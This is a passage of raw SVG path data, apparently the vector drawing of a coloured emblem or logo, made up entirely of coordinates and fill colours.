4 1 4.5c.1.6.5 1.1 1 1.4.6.2 1.3.3 2 .1.7-.1 1.3-.5 1.8-1 .3-.5.5-1.1.3-1.6l-1.1-4.5 1.7-.4 1 4.6c.3.9.1 1.9-.5 2.6-.8.7-1.8 1.2-2.9 1.4-1.1.3-2.3.3-3.3 0-.8-.4-1.3-1.2-1.6-2.1zm-19.5 9.3 1.3-.6c.2.3.4.5.7.7.4.2.9.2 1.4.1.4 0 .8-.2 1.1-.5.3-.2.4-.5.4-.8-.3-.6-.9-1-1.6-1-.1 0-.3 0-.4-.1-.8-.1-1.7-.4-2.4-.9-.4-.2-.7-.7-.7-1.1-.1-.6.2-1.2.7-1.5.6-.5 1.3-.9 2.1-1 .7 0 1.3 0 2 .2.5.1.9.4 1.2.8l-1.3.7c-.2-.2-.5-.4-.7-.5h-.9c-.4 0-.7.1-1 .4-.3.2-.4.5-.4.8.1.4.7.7 2 1 .8.1 1.6.3 2.4.7.4.3.7.7.7 1.2.1.7-.1 1.4-.7 1.8-.7.6-1M
.5.9-2.4 1-.8.1-1.5 0-2.3-.3-.5-.2-.9-.6-1.2-1.1zm-72.3-9 1.5-7.5 1.6.3-1.2 6.4 3.7.7-.3 1.1zm-31.5 5.6-2.6-7.2 5.4-2 .4 1-3.9 1.4.7 1.8 4-1.4.3 1-3.8 1.5.8 2.3 3.9-1.4.4 1z" fill="#0f0f10"/><path d="m200.6 168.6c-1 0-2-.2-2.9-.7-.8-.6-1.3-1.5-1.2-2.5l-.4-5.1 2.3-.1.3 5c0 .5.2 1 .6 1.3.5.3 1.1.4 1.7.4s1.2-.2 1.7-.5c.4-.4.5-.9.5-1.4l-.2-5 2.3-.2.4 5.1c.1 1-.3 2-1 2.6-1 .7-2.2 1-3.4 1-.2 0-.4 0-.7.1zm-3.7-7.7.3 4.5c-.1.8.2 1.5.9 2 1 .4 2 .6 3.1.5 1.1.1 2.1-.2 3-.8.6-.5.9-1.3.8-2.1l-.3-4.4-1 .1.3 4.2c.1.7-.2 1.4-.7 1.M
9-.6.4-1.4.6-2.1.7-.7.1-1.5-.1-2.1-.5s-.9-1.1-.9-1.8l-.3-4.3zm17.8 6.8c-.8.1-1.6 0-2.4-.3-.6-.2-1.1-.7-1.4-1.3l-.1-.3 1.9-.9.1.4c.1.2.3.4.6.5.4.1.8.1 1.1 0 .3 0 .7-.1.9-.4.2-.1.3-.3.3-.5-.3-.5-.8-.8-1.4-.8-.2 0-.4-.1-.5-.2-.8-.1-1.7-.4-2.4-.8-.5-.3-.8-.8-.8-1.4-.1-.7.2-1.4.8-1.8.7-.5 1.5-.9 2.3-1 .7-.1 1.4 0 2.1.2.5.2 1 .5 1.3.9l.3.3-1.9 1-.2-.1c-.2-.2-.4-.3-.6-.4h-.8c-.3 0-.6.1-.8.3-.2.1-.3.3-.2.5.5.4 1.1.6 1.7.7.8.1 1.6.3 2.3.6l.2.1c.5.3.8.8.8 1.4.1.8-.2 1.6-.8 2.1-.5.7-1.4 1.1-2.4 1.2zm-3-1.6c.2.3.5.5.9.6.7.2 1.M
4.3 2.1.2.8-.1 1.6-.4 2.2-.9.5-.4.7-.9.6-1.5 0-.4-.2-.8-.6-1-.7-.3-1.5-.5-2.2-.6-1.4-.4-2.1-.7-2.3-1.3 0-.4.1-.8.5-1.1.3-.3.8-.5 1.2-.5h.9c.3.1.6.2.8.4l.6-.3c-.2-.2-.5-.3-.7-.4-.6-.1-1.2-.2-1.8-.1-.7.1-1.4.4-1.9.9-.4.3-.6.8-.6 1.3 0 .4.2.7.5.9.7.4 1.5.7 2.3.8l.3.1c.8 0 1.6.5 1.9 1.3.1.4-.1.9-.5 1.1-.3.4-.8.6-1.3.6-.5.1-1 .1-1.5-.1-.3-.1-.5-.3-.7-.5zm-22.4 1.6c-.3 0-.8 0-1.5-.1l-3.6-.4 1-8.2 3 .4c.6 0 1.1.1 1.7.3.3.1.6.2.9.4s.6.5.9.8l.1.2c.1.3.1.7.1 1-.1.4-.3.9-.6 1.1-.1.1-.2.2-.4.2.2.1.4.3.6.4.4.5.5 1.1.4 1.7 0 .4-M
.1.7-.4 1-.2.3-.4.5-.7.6-.4.2-.8.4-1.3.5h-.2zm-4.4-1.2 2.9.4c.6.1 1.1.1 1.4.1.4 0 .7-.2 1-.4.2-.1.4-.3.6-.5.1-.2.2-.4.2-.6.1-.4 0-.8-.2-1.2-.4-.3-.8-.5-1.2-.7v-.6c.3 0 .7-.2.9-.3.2-.2.4-.5.4-.8.1-.2.1-.5 0-.8-.2-.2-.4-.4-.6-.6s-.5-.3-.8-.4c-.5-.1-1.1-.2-1.7-.2l-2.4-.3zm3.3 0c-.3 0-.6-.1-.9-.1l-1.5-.2.4-3.1 1.5.2.3.1c.1 0 .3 0 .4.1.3 0 .5.1.7.2.3.1.5.3.6.6.2.3.2.7.1 1 0 .2-.1.4-.2.6-.2.2-.4.4-.6.5l-.4.1c-.1 0-.2 0-.4 0zm-1.6-.9.8.1c.4.1.8.1 1.1 0h.3c.1-.1.2-.2.3-.4.1-.1.1-.2.1-.3 0-.2 0-.4-.1-.5s-.2-.2-.3-.2l-.2-.2cM
-.1 0-.2 0-.3 0l-.2-.1c-.2 0-.4 0-.5-.1l-.8-.1zm-8.4.5-2.3-.4 1.6-8.1 2.3.4zm-1.5-.9 1 .1 1.3-6.8-1-.2zm-4.9-.3-2.9-.8-2.3-3.6-.7 3.1-2.2-.6 1.9-8 2.7.6c.4.1.8.2 1 .3l.5.1c.4.2.7.4 1 .7.3.2.5.5.6.8l.1.2c.1.4.1.8 0 1.1-.1.6-.5 1.2-1.1 1.5-.4.2-.9.3-1.4.3zm-2.4-1.2 1 .2-2.6-4 .7.1c.6.1 1.2 0 1.7-.2.4-.2.7-.6.7-1.1.1-.2.1-.5 0-.7-.1-.3-.3-.5-.5-.7s-.5-.4-.8-.6l-.5-.1c-.3-.1-.6-.2-1-.3l-2-.4-1.6 6.7.9.3.8-3.3h.5l.3.1zm65.5.1c-.6 0-1.1-.1-1.6-.2-.9-.5-1.5-1.3-1.8-2.3l-1.1-5 2.2-.5 1.1 4.8c.1.5.5.9.9 1.2.6.2 1.2.2 1.7 0 M
.6-.1 1.2-.4 1.6-.8.3-.4.4-.9.3-1.4l-1.2-4.7 2.4-.6 1.1 4.9c.3 1 0 2.1-.6 2.9-.9.8-2 1.3-3.1 1.6-.6.1-1.2.1-1.9.1zm-3.7-7 1 4.3c.2.8.6 1.5 1.3 1.9 1 .3 2.1.3 3.1 0 1-.2 2-.7 2.8-1.4.5-.7.7-1.5.4-2.3l-.9-4.2-1.1.3 1 4.1c.1.7 0 1.4-.4 1.9-.5.6-1.2.9-2 1.1-.7.2-1.5.2-2.2-.1-.6-.3-1.1-.9-1.2-1.6l-.9-4.2zm-42.8 6.3c-.3 0-.7 0-1.1 0h-1l.4-2.9 1 .1c.6 0 1.3.2 1.9.5.3.3.5.8.4 1.3 0 .5-.4.9-.9 1-.3 0-.6 0-.7 0zm-1.4-.8h.2c.5.1 1.1.1 1.6 0 .2 0 .4-.2.4-.4 0-.3-.1-.6-.2-.8-.2 0-.8-.2-1.5-.3h-.4zm-79.8.7-2.8-7.9 6-2.2.7 1.7-4 M
1.4.4 1.2 4-1.4.6 1.6-3.8 1.5.5 1.7 3.9-1.4.7 1.6zm-2-7.4 2.4 6.6 4.9-1.8-.2-.4-3.9 1.4-1-2.9 3.8-1.5-.1-.3-3.9 1.3-.9-2.4 3.9-1.4-.2-.4zm183.4 5.8-2.1-.8-.2-4.1-4.1 3.6-1.7-5.2s-.1-.1-.1-.1l-2.2 3.6-2.1-.5 5-8.1 1.9 6.1c.1.2.1.3.1.5l.3-.2c0-.1.1-.2.1-.2l4.7-4.3zm-1.5-1.2.8.3-.3-7.1-3.6 3.3c0 .1-.1.2-.2.3-.2.2-.5.4-.6.6l-.6.9v-1.1c0-.2 0-.4-.1-.6l.2-.5-.3.1-.1-.3-1.5-4.6-3.7 6 .8.2 1.9-3.1.1-.2.2-.3c0-.1.1-.3.2-.4l.6-.6v.8c.1.1.1.3.1.4v.2c0 .1 0 .2.1.3l1.4 4.3 3.7-3.4.1-.2.6-.9.1.9c0 .2 0 .4-.1.6zm-131.7.9c-.7 0-1.M
3-.1-2-.3-1.2-.1-2.3-.7-3.1-1.5-.6-.8-.8-1.8-.6-2.8l1.2-5 2.3.6-1.1 4.8c-.1.5-.1 1 .2 1.5.4.4 1 .7 1.5.7.6.3 1.3.3 1.9 0 .4-.2.7-.6.8-1.1l1.1-4.9 2.3.6-1.1 5c-.2 1-.9 1.8-1.8 2.2-.5.1-1.1.2-1.6.2zm-4-8.8-1 4.3c-.2.8 0 1.6.5 2.2.7.7 1.7 1.2 2.7 1.4 1 .3 2.1.3 3.2 0 .7-.3 1.2-1 1.4-1.8l1-4.3-1-.3-1 4.2c-.1.7-.5 1.3-1.2 1.5-.7.3-1.5.4-2.3.1-.8-.1-1.5-.4-2-1-.3-.6-.4-1.3-.3-2l1-4.1zm95.5 8.7-2-8.7 8.1 3.4c.2.1.4.2.6.3h.1l-1-4.8 2.1-.5 2 8.6-8.3-3.3c-.2-.1-.4-.1-.6-.2l1.1 4.7zm-1-7.6 1.6 6.8.8-.2-1.3-5.4.6.2c.2 0 .4.1.5M
.3.2.1.5.3.7.3l7.1 2.8-1.6-6.7-.8.2 1.2 5.3-.6-.2-.3-.1c-.1 0-.2-.1-.3-.1l-.2-.1c-.1-.1-.2-.2-.3-.2zm-77.3 6.1c-.6 0-1.1-.1-1.7-.3l-.6-.2.7-2.7.6.2c.6 0 1.3.3 1.8.7.4.3.5.8.4 1.3-.1.4-.4.8-.8 1-.1 0-.3 0-.4 0zm-1.4-.9c.5.2 1.1.2 1.7.2.1-.1.2-.3.3-.5s0-.4-.1-.6c-.4-.4-.9-.5-1.5-.5zm-22.7-.2-6-1.2 1.6-8.1 2.3.5-1.2 6.4 3.7.7zm-5.2-1.7 4.7.9.1-.5-3.7-.7 1.2-6.4-1-.2zm126.7.6c-.9.1-1.8-.1-2.6-.6-.9-.5-1.4-1.5-1.5-2.5l-.5-5.1 2.4-.1.4 5c0 .5.2.9.5 1.2.6.3 1.2.3 1.9.2.6 0 1.2-.2 1.7-.5.3-.4.4-.9.4-1.4l-.5-5 2.4-.1.5 5c.2M
 1-.2 2.1-1 2.8-.9.7-2.1 1.1-3.3 1.1zm-3.7-7.5.4 4.4c0 .8.4 1.6 1.1 2 .9.5 2 .7 3.1.5 1.1 0 2.1-.4 2.9-1 .6-.5.9-1.4.7-2.2l-.4-4.3-1 .1.5 4.3c0 .7-.2 1.3-.6 1.9-.6.5-1.4.8-2.1.8-.8.1-1.5 0-2.2-.3-.6-.4-.9-1.1-.9-1.8l-.4-4.3zm-135.5 7.2-.8-8.4 3.2-.2c.5-.1.9-.1 1.4 0 .3 0 .6 0 .9.1.4.1.8.4 1.1.8.3.3.5.8.5 1.2.1.4 0 .8-.3 1.1-.2.4-.5.7-.8.9l-.3.2c-.2.1-.4.2-.6.2l-.3.1c-.5.1-1 .2-1.5.2h-.6l.3 3.4zm-.1-7.7.7 7 .9-.2-.3-3.4 1.3-.1c.5 0 .9-.1 1.3-.2l.3-.1c.2 0 .3-.1.4-.2s.2-.1.4-.2c.2-.2.4-.4.5-.7.1-.2.2-.5.2-.7 0-.3-.2-M
.7-.4-.9-.1-.2-.3-.4-.6-.5s-.7-.2-1-.2c-.4-.1-.8-.1-1.2 0zm1.6 3h-.3l-.2-2.7.8-.1c.7-.1 1.4-.1 2 .1.5.2.8.6.8 1.1.1.5-.2.9-.6 1.1-.5.2-1 .4-1.6.4zm.3-.7.4-.1c.5 0 .9-.2 1.3-.4.2-.1.4-.3.3-.6 0-.2-.2-.4-.4-.5-.5-.2-1.1-.2-1.7-.1h-.1z" fill="#0f0f10"/><path d="m129.8 203.2 7.3 2.2 8.1 2.2 10.2 2.5 5.6 1.3 6 1.3 6 1.2 6.2 1 6.1.9 6 .7 5.8.5 4.9.1v159.9l-3.7-3.2-.3-.1-3.8-3.6-4.1-3.9-3.9-3.9-3.7-3.8-3.6-3.8-3.4-3.9-3.3-3.9-3.1-3.8-3-3.9-2.9-3.9-2.6-3.8-2.7-3.9-2.4-3.8-2.3-3.8-2.1-3.8-4.1-7.4-1.8-3.8-1.7-3.7-3.1-7.3-1.5M
-3.6-1.3-3.6-2.3-7-1.9-6.7-1.7-6.6-1.3-6.5-1-6.1-.9-6-.5-5.6-.3-5.3-.3-5v-4.6l.1-4.3.3-4 .6-6.7.7-5 .5-3.2z" fill="#e83030"/><path d="m148.4 311.1 99.8-99.8 1-.3 10-2.5 8.1-2.1 7.3-2.3.2 1.1.6 3.1.7 4.9.3 3.1.3 3.4.2 3.9v4.3.6l-110.5 110.5-.8-1.1-2.8-3.8-2.7-3.8-2.6-3.7-2.4-3.8-2.3-3.7-2.2-3.8z" fill="#1074bc"/><path d="m172.5 321.5 1.3-3.5c.9.6 2 .8 3.1.7 1.1-.2 2.2-.8 2.9-1.6.8-.7 1.3-1.8 1.3-2.9 0-1-.4-2-1.2-2.6-1.1-1-2.9-1.1-5.4-.3-.4.2-.7.3-.9.4-3 1-5.2 1.4-6.6 1.3-1.5-.1-2.9-.7-3.9-1.8-1.4-1.3-2.1-3.2-2.1-5.2M
.1-2.1 1.1-4 2.6-5.3 1.1-1.2 2.5-2.1 4-2.5 1.4-.4 2.8-.3 4.1.3l-1.1 3.5c-.8-.1-1.6-.2-2.4-.1-.7.2-1.4.6-1.9 1.1-.7.6-1.2 1.5-1.3 2.5-.1.9.3 1.8 1 2.4 1 1 3.2 1 6.1-.1.2-.1.4-.2.6-.2 1.9-.8 3.9-1.2 6-1.2 1.5.1 2.9.8 3.9 1.9 1.6 1.5 2.5 3.5 2.5 5.7-.1 2.3-1.1 4.4-2.8 6-1.3 1.4-3.1 2.3-4.9 2.7-1.7.2-3.5-.2-4.9-1.2z" fill="#ffd432"/><path d="m196.6 301.8c-.8-1-.8-2.4 0-3.4.4-.5 1-.7 1.6-.6s1.2.3 1.6.7.7 1 .7 1.5c0 .7-.3 1.3-.8 1.7-.4.4-1 .6-1.5.6-.5.1-1.1-.1-1.6-.5z" fill="#ffd432"/><path d="m212.8 288.3-18-18.1 2.9-2.M
9 15.4 15.4 6.6-6.5 2.6 2.6z" fill="#ffd432"/><path d="m231.3 267.1c-.4-.5-.6-1.1-.6-1.7s.2-1.2.6-1.6c.5-.4 1.1-.7 1.7-.7s1.1.3 1.6.7c.4.4.7 1 .7 1.6s-.2 1.2-.7 1.7c-.4.4-1 .6-1.6.6s-1.2-.2-1.7-.6z" fill="#ffd432"/><path d="m242.9 236.9.3-.5.3-.8.1-.8-.2-.7-.4-.7-.1-.1v-5.3l.9.4 1.3 1 .7.7.4.8.3.9.3.8.1.9-.1.8-.3.9-.3.8.9-.5.9-.4 1-.2 1 .1 1 .3 1 .4 1 .7 1 .9 1 1.1.7 1.3.4 1.4.2 1.5-.1.6-.1.8-.7 1.5-.5.8-.7 1-2.2 2.2-4.6 4.5-4.6-4.6v-5.8l5.1 5.1.9-1 1.4-1.4.8-1 .6-.9.3-.8.1-.9-.3-.9-.3-.9-.7-.7-1-.8-1-.4-.9-.1-1.1.M
1-.6.2-.6.5-1.5 1.2-.9.9-.3.3v-4.9zm-2.9 3.4 1.1-1.2 1-1 .8-1 .1-.3v4.9l-.7.7.7.7v5.8l-13.5-13.5 4.6-4.4 1.8-1.6 1.3-.9 1.1-.6 1.1-.3.8-.1h.8l1.4.4.6.3v5.3l-.4-.6-.8-.6-.7-.4-.7-.3h-.8l-.8.3-.8.5-1 .7-1.1 1-1.1 1.1z" fill="#ffd432"/><path d="m267.5 230.8c-.5-.4-.7-1-.7-1.6s.3-1.1.7-1.5c.4-.5 1-.7 1.6-.7s1.2.2 1.5.7c.4.4.7.9.7 1.5s-.2 1.2-.7 1.6c-.4.4-.9.7-1.5.7-.5 0-1.1-.3-1.6-.7z" fill="#ffd432"/><path d="m204.5 326.7-.5.2-2.1.3-1.5.3h-1.4l-2.6-.3-4.3-.7-1.6-.4-1.6-.5-2.9-1-3.6-1.5 7.7-7.8 20.2-20.2 13.7-13.9 5.8-M
5.8 5.7-5.7 7.1-7.1.8 1.7 1 2.6.7 2 .2.6.2.6.3 1 .3.9.2.7.4 2.7.3 2.3.2 1.6.1 4.6-.4 3.4-.1 1.5-.3 1.1-.4.8-.5.7v1.7l-.2 1.8-.4 1.9-.3 1.3-.8 1.8-.8 1.8-.9 1.8-.6 1.1-1.1 1.9-.9 1.3-.9 1.2-1 1.2-1 1.1-2.2 1.8-2.1 1.5-2 1.2-1.3 1.7-1.7 1.7-2.4 1.8-2.4 1.5-1.8.9-2 .8-2.7 1-2.8.8-2.2.5-2.1.3-2.2.1-1.1-.1zm-23.2-82.3c8.1-9.8 26.9-7.8 37.6-3.9-19.5 19.7-39.2 39.1-58.7 58.8-7.8-18.1-1.4-38.4 12.7-51.3 1.9-1.7 7.7-6.1 10.4-5.8-.6.8-1.4 1.4-2 2.2z" fill="#ffd432"/><path d="m226.3 146.5.1-1 .2-1 .1-.6-.1-.5-.1-.4-.4-.4-1-1-M
.8-1.3-.6-1.3-.5-1.4-.7-2.8-.5-3-1.5-.7-1.4-.6-.8-.5-.6-.6-1.2-1.4-2.8.4-1.5.2-1.4-.2h-.6l-.6.4-.6.5-.5.6-.6.4-.4.2-.4-.3-.4-.9v-.5l.1-.4.4-.9.2-.6c-.9-.3-1.8-.5-2.8-.4l-.5.7-1.4 2.2h-.5l-1.9-2.9c-1 0-2 0-2.9 0l.5.4.3.4.4.6.2.5.2 1.4v1.2l-.3.5-.9-.3-.5-.4-.5-.4-.5-.4-1.2-.7-.7-.2-.7.2-.8.4-.9.3h-.8l-1-.2-.9-.1-1 .1-1.1.3-1.1.8-.5.2-.5.1h-1.3l-1.6-.3-.4.9-.2.7-.4 1.8-1 2.2-1 2-.8 1.9-.3.9-.1.9-.3 1-.2 1 .1.4.2.5.3.4.6.5c7.8-1.4 15.7-2.2 23.6-2.2 8 .2 16.1 1 24 2.7zm-102.1 46.7-1.1-.4c-5.1 19.2-4.8 42.8-1.8 62.2 8.5 M
53.5 39.8 97.6 80.8 131.7 48.1-39.8 82.5-93.6 83-157.4.1-12.1-.8-24.8-4-36.5l-1.1.3c-22.7 7.1-54.6 15-77.9 15s-55.2-7.9-77.9-14.9zm36.8 154.5-.8 1.7c1.1.5 2.2 1 3.4 1.5-.9-1-1.8-2.1-2.6-3.2zm-9.6-13-4.9 7.3c3.7 2.4 7.6 4.6 11.6 6.5l1.3-2.8c-2.8-3.6-5.4-7.2-8-11zm-8.8-14.1-10 10.4c3.7 3.5 7.8 6.8 12 9.7l5.4-8.1c-2.6-3.9-5.1-7.9-7.4-12zm-8.7-17-15.7 10.5c3.7 5.5 8 10.6 12.7 15.2l10.5-10.9c-2.7-4.8-5.2-9.7-7.5-14.8zm-6.1-14.9-19.2 8c2.3 5.4 5.1 10.5 8.3 15.5l16.1-10.7c-2-4.2-3.7-8.4-5.2-12.8zm-4.4-14.1-20.6 4.4c1.2 5.M
3 2.8 10.5 4.8 15.6l19.4-8c-1.3-4-2.6-7.9-3.6-12zm-3.7-16.8h-19.3c.1 6.3.8 12.7 2 18.9l20.5-4.4c-1.4-4.7-2.4-9.6-3.2-14.5zm-2.1-16.8-15.6-3.1c-1.1 5.8-1.6 11.6-1.7 17.5h18.9c-.7-4.7-1.2-9.5-1.6-14.4zm-.5-18.3-9.5-4c-2.2 5.5-3.9 11.1-5.1 16.9l14.9 3c-.2-3.1-.3-6.1-.3-9.3 0-2.1 0-4.3 0-6.6zm1.8-20.4-2-1.4c-3.2 4.9-5.9 10-8.3 15.4l8.6 3.6c.3-5.9.8-11.8 1.7-17.6zm1.2-6c-.7.8-1.3 1.7-1.9 2.6l1.2.8c.2-1.1.4-2.2.7-3.4zm19.2-1-9.9-9.9c-1.7 1.8-3.4 3.6-5 5.5l.6.2c4.3 1.4 9.2 2.8 14.3 4.2zm24.7 6-19.3-28.9c-4.9 3.4-9.5 7.2-1M
3.8 11.3l12.8 12.8c6.6 1.8 13.4 3.4 20.3 4.8zm93.4-3.9 14.5-15.1c-3.7-3.5-7.8-6.8-12-9.7l-19.2 28.7c5.5-1.2 11.2-2.4 16.7-3.9zm22.6-6.4c-2-2.5-4.2-4.8-6.5-7.1l-11.9 12.4c6.3-1.7 12.4-3.4 17.9-5.2zm5 9 1.3-.8c-.6-.9-1.3-1.9-2-2.8.3 1.2.5 2.4.7 3.6zm2.3 20.2 8.5-3.5c-2.3-5.4-5.1-10.6-8.3-15.5l-2.1 1.4c1 5.8 1.7 11.7 1.9 17.6zm-.2 17.1 14.4-3.1c-1.2-5.3-2.8-10.5-4.8-15.6l-9.3 3.9c.2 5 .1 9.9-.3 14.8zm-2 18.2h18.8c-.1-6.3-.7-12.7-2-18.9l-15 3.2c-.2 5.2-.9 10.5-1.8 15.7zm-3.1 15.7 20.3 4c1.1-5.8 1.7-11.6 1.7-17.5h-19.1cM
-.8 4.6-1.8 9.1-2.9 13.5zm-4.5 15.4 19.2 8c2.2-5.5 3.9-11.3 5.2-17.1l-20.4-4c-1.1 4.1-2.3 8.2-3.6 12.2zm-5.9 15.1 15.9 10.6c3.2-5 6-10.2 8.4-15.6l-19.2-7.7c-1.6 4.3-3.3 8.6-5.1 12.7zm-7.5 15.2 10.9 10.9c4.1-4.2 7.8-8.7 11.1-13.5l-15.5-10.4c-2 4.4-4.2 8.8-6.5 13zm-9.7 16 5.2 7.9c4.9-3.4 9.5-7.2 13.8-11.3l-10.5-10.5c-2.6 4.8-5.4 9.4-8.5 13.9zm-12.4 16.9.3.6c5.4-2.3 10.6-5.1 15.5-8.3l-4.8-7.1c-3.4 5.1-7.1 10-11 14.8zm-97.2-180.1c-2.9-.6-5.6-1.3-8.2-1.9-49 36.3-59.4 105.5-23 154.5 15 20.3 36.6 34.8 61 41.2-2.8-3-5.5-6-M
8.1-9-54-19.7-81.9-79.5-62.1-133.5 4-10.9 9.8-21.1 17.1-30.2l.2-.7c6.7-7.8 14.4-14.7 23.1-20.4zm22.1 4.5c-6.5-1.2-12.9-2.5-18.9-3.8l-1.3.8 20.5 30.8c4.1.8 8.1 1.5 12.1 2.1zm18.4 3.1c-5-.7-10.4-1.6-15.8-2.6l12.3 29.8c3.1.4 6.1.7 9 1zm15.7 1.8c-3.9-.3-8.4-.8-13.3-1.5l5.6 28.1c2.7.2 5.3.3 7.8.3v-26.9zm15.8-1.7c-4.9.7-9.5 1.3-13.5 1.6v27.1c2.5-.1 5.2-.2 7.9-.4zm22.8-3.8c-6.9 1.3-13.9 2.6-20.4 3.5l-5.7 28.5c3.8-.4 7.8-.8 11.8-1.5zm16.4-3.4c-4.4 1-8.9 1.9-13.6 2.8l-14.3 30.7c3.1-.5 6.1-1.1 9.2-1.7l20.5-30.6zm11.5-2.6c-2.M
8.7-5.5 1.3-8.4 1.9 8.7 5.7 16.6 12.7 23.2 20.8l.7.7c36.3 44.6 29.5 110.2-15.1 146.5-8.9 7.2-18.9 12.9-29.7 16.9-2.6 3.1-5.4 6.1-8.1 9.1 59-15.5 94.3-75.9 78.9-134.9-6.4-24.5-21.1-46.1-41.5-61zm43.1 17.9c-13.9-8.4-29.9-16.8-39.5-17.9 49.2 38.2 58.1 109 19.9 158.2-16 20.6-38.5 35-63.9 40.8-6.9 7.1-14.2 13.9-21.9 20.4 72-2.1 128.6-62.2 126.4-134.2-.6-24-7.9-47.3-21-67.3zm-85-38c10.6-2.1 21-4.8 31.5-7.5l1.6-.4c-4.2-2.1-8.5-3.9-12.8-5.5l-.1.7-.8.2-.6-.1-.4-.4-.4-.5-.6-.9c-2.4-.8-4.9-1.6-7.4-2.3l-.8-.1-.8.1.4.5.4.6 1.4 M
1.1 1.2 1.2.4.6.2.6.7.2.4.2.5.4.3.4.4 1.1.4 1.3.1.9-.1.9-.3.7-.3.7-.6.2h-.5l-.5-.3-.5-.3-.2-.9-.4-.8-.7-.7-.7-.6-1.7-.6-1.7-.9-1.4-1.1-1.4-1.3-.2 1.3v2.8l-.2 1.4.4.6.1 1.1-.1 1.3-.3 1.2-.9 1.6-.3.4-.5.4zm-44.6.7c6.7 1.2 13.6 2 20.4 2.4 7.1-.4 14.2-1.3 21.2-2.6-13.8-2.5-27.9-2.5-41.6.2zm-14.4-2.9c2.8.6 5.8 1.3 8.8 1.9l1.9-.4-1.4-.4-.4-.3-.4-.4-.3-.4-.3-.5-.4-.8v-.9-1.8l-.1-1.8-.2-.7-.3-.9-.8.6-.4.4-1.1.7-1 .6-.5.3-.4.5-.9 1.1-.8 1.2-.6 1.2zm-22.6-5.7c6.2 1.4 14.5 3.8 16.5 4.2l4.4 1.1-.2-.8-.1-1.2-.1-1.2.2-1.2.2-1.2.M
4-1.1.6-.9 1-.9.4-1.6.7-1.4-.8-.2-.8.1-1.5.2h-1l-.9-.2h-.5l-.4.1-.8.6-.6.3-.5.5-.7 1.2-.4.5-.5.3-.5.1-.6-.4v-1.9l.1-.7c-4.7 1.7-9.2 3.6-13.6 5.7zm-56.2 48.5c-8.5 5.3-15.8 10.2-19.7 12.9l2.5-19.3-23.2-2s15.1-10.2 32.2-19.3 38.9-18.9 57.9-22c.9 0 1.9 0 2.8.2 5.8-3 11.9-5.6 18.1-7.7l.8-.8.9-.5.7-.4.8-.4 1.4-.9 1.4-.8.8-.3.9-.2 4.7-1.1 2.2-.7 2.2-.9.7-.8.8-.9 1.4-1.7 1-1.9.9-2.1-.6-.8-.5-1-.6-2.1-.4.2-.7.9-.6.3h-.4l-1-1.3-.3-1.2-.4-2.6-.2-3.3v-3.3l-.4-.1-.6.4-.7.1-.7-.6-.5-.6-.1-.8v-1l.2-1.7.4-1.6.3-1.2v-.5l-.1-.6-.6.4M
-.7.5-.7.3h-.9l-.1-.8v-.9l.4-1.6.5-1.6.4-1.6h-4.2l-1.3-.2-.6-.4-.4-.2-.6.2-1.1 1.1-.3.4-.4.2-.9.5-.9.3-1 .3-.9.2-1-.1-1-.2-.9-.3-.8-.6-.5-.4-.2-.4-.7-1.1-.5.2-.3.5-.7 1.1-1.6 1.3-.8.5-.9.4-.9.3-.9.2h-1l-1.1-.2-.5-.4-.9-1.3-.6-.4-.4.1-.6.3-.8.3-.8.2h-.7l-.9-.1-1.5-.4-1.5-.5-.7-.6-.7.1-.7.4-.4.2-1.3.2h-.8l-1.6-.2-1.5-.6-1.1-.7-.6-.5-.8.3-.8.1h-1.8l-1-.3-.8-.3-.7-.5-.6-.5-1 .1h-.9l-.8-.3-.9-.3-.8-.4-.7-.5-.8-.7-.6-.7-.3-.8-.2-.9-.1-.4-.4-.6-.4-.2h-.7l-.7-.2-1.1-.5-1.1-.8-.9-1.1-.3-.8-.3-.9-.4-.6-.8-.2-1.4-.4-1.3-.4-2.M
5-1-2.6-.3-2.6-.4-2.4-.5-2.4-.8-2.5-.7-2.3-1-2.1-1.4-2-1.5-2.3-.2-2.7-.5-2.3-.5-1.2-.3-2.9-1-2.8-1.4-3.2-1.6-3.1-2-2.9-2.1-1.3-1.2-1.3-1.3-.8-1.2-1-1.1-.4-.4-.6-.4-.6-.3-.8-.2-1.9-.8-1.9-.9-1.8-1-1.8-1.4-1.8-1.2-1.7-1.5-1.5-1.3-1.4-1.6-.2-.5-.9-.4-.5-.2-3.8-1.7-1.9-1-1.8-1.2-1.3-1.1-1.2-1.3-1.1-1.4-.9-1.4-3.8-1.2-3.6-1.3-1.7-.8-1.7-1-1.6-1.1-1.4-1.3-1.5-1.5-1.4-1.5-.7-.8-.6-.9-.3-1-.1-1.1.5-.3.5.1.6.2.6-.1 5.8-.3 2.5-.1h6.8l4 .1 9 .2h16.9l7.7-.3 7.8-.5 11.9-.1 11.8-.1 11.7.4 5.8.3 5.8.5 6.6.6 6.6.6 3.2.5 3.2.7 3.1.M
9 2.9 1.1 2.9 1.6 2.8 1.9 2.6 2.2 1.3 1.2 1.2 1.3.6.7.3.8.6.8.4.8.9 1.8.6.9.6.7.8.5 1 .2 1.6.3 1.4.6 1.2.6 1.1 1 1 .9.9 1 1.6 2.4 1.6 2.5 1.7 2.3 1 1 1 .9 1.2.9 1.4.7 1.2.3h1.2l1.1-.3 1.1-.4 1-.6 1-.8 1.7-1.6.9-1.4.7-1.3-.4-.4-1.4.2h-1.4l-.8-.1-.6-.2-.6-.3-.6-.4-.1-.8.1-.6.5-.4.6-.5 1.2-.7.5-.5.4-.6.7-1 .6-1.1.3-.5.3-.6v-.6l-.2-.6-1.4.2-1.3-.2-1.3-.1-1.4-.2-.4-.6-.1-.8.5-.2.5-.4.4-.5.2-.5.4-1.2.3-1.1-.4-.1-.5.1-1 .4-.7.1-.8.2-.7.1-.7-.3v-1l-.1-1.1-.2-1-.4-.9-.4-.9-.6-.8-.8-.8-.9-.7-1.4-.6-1.4-.6-1.5-.6-1.4-.7-1.3-1M
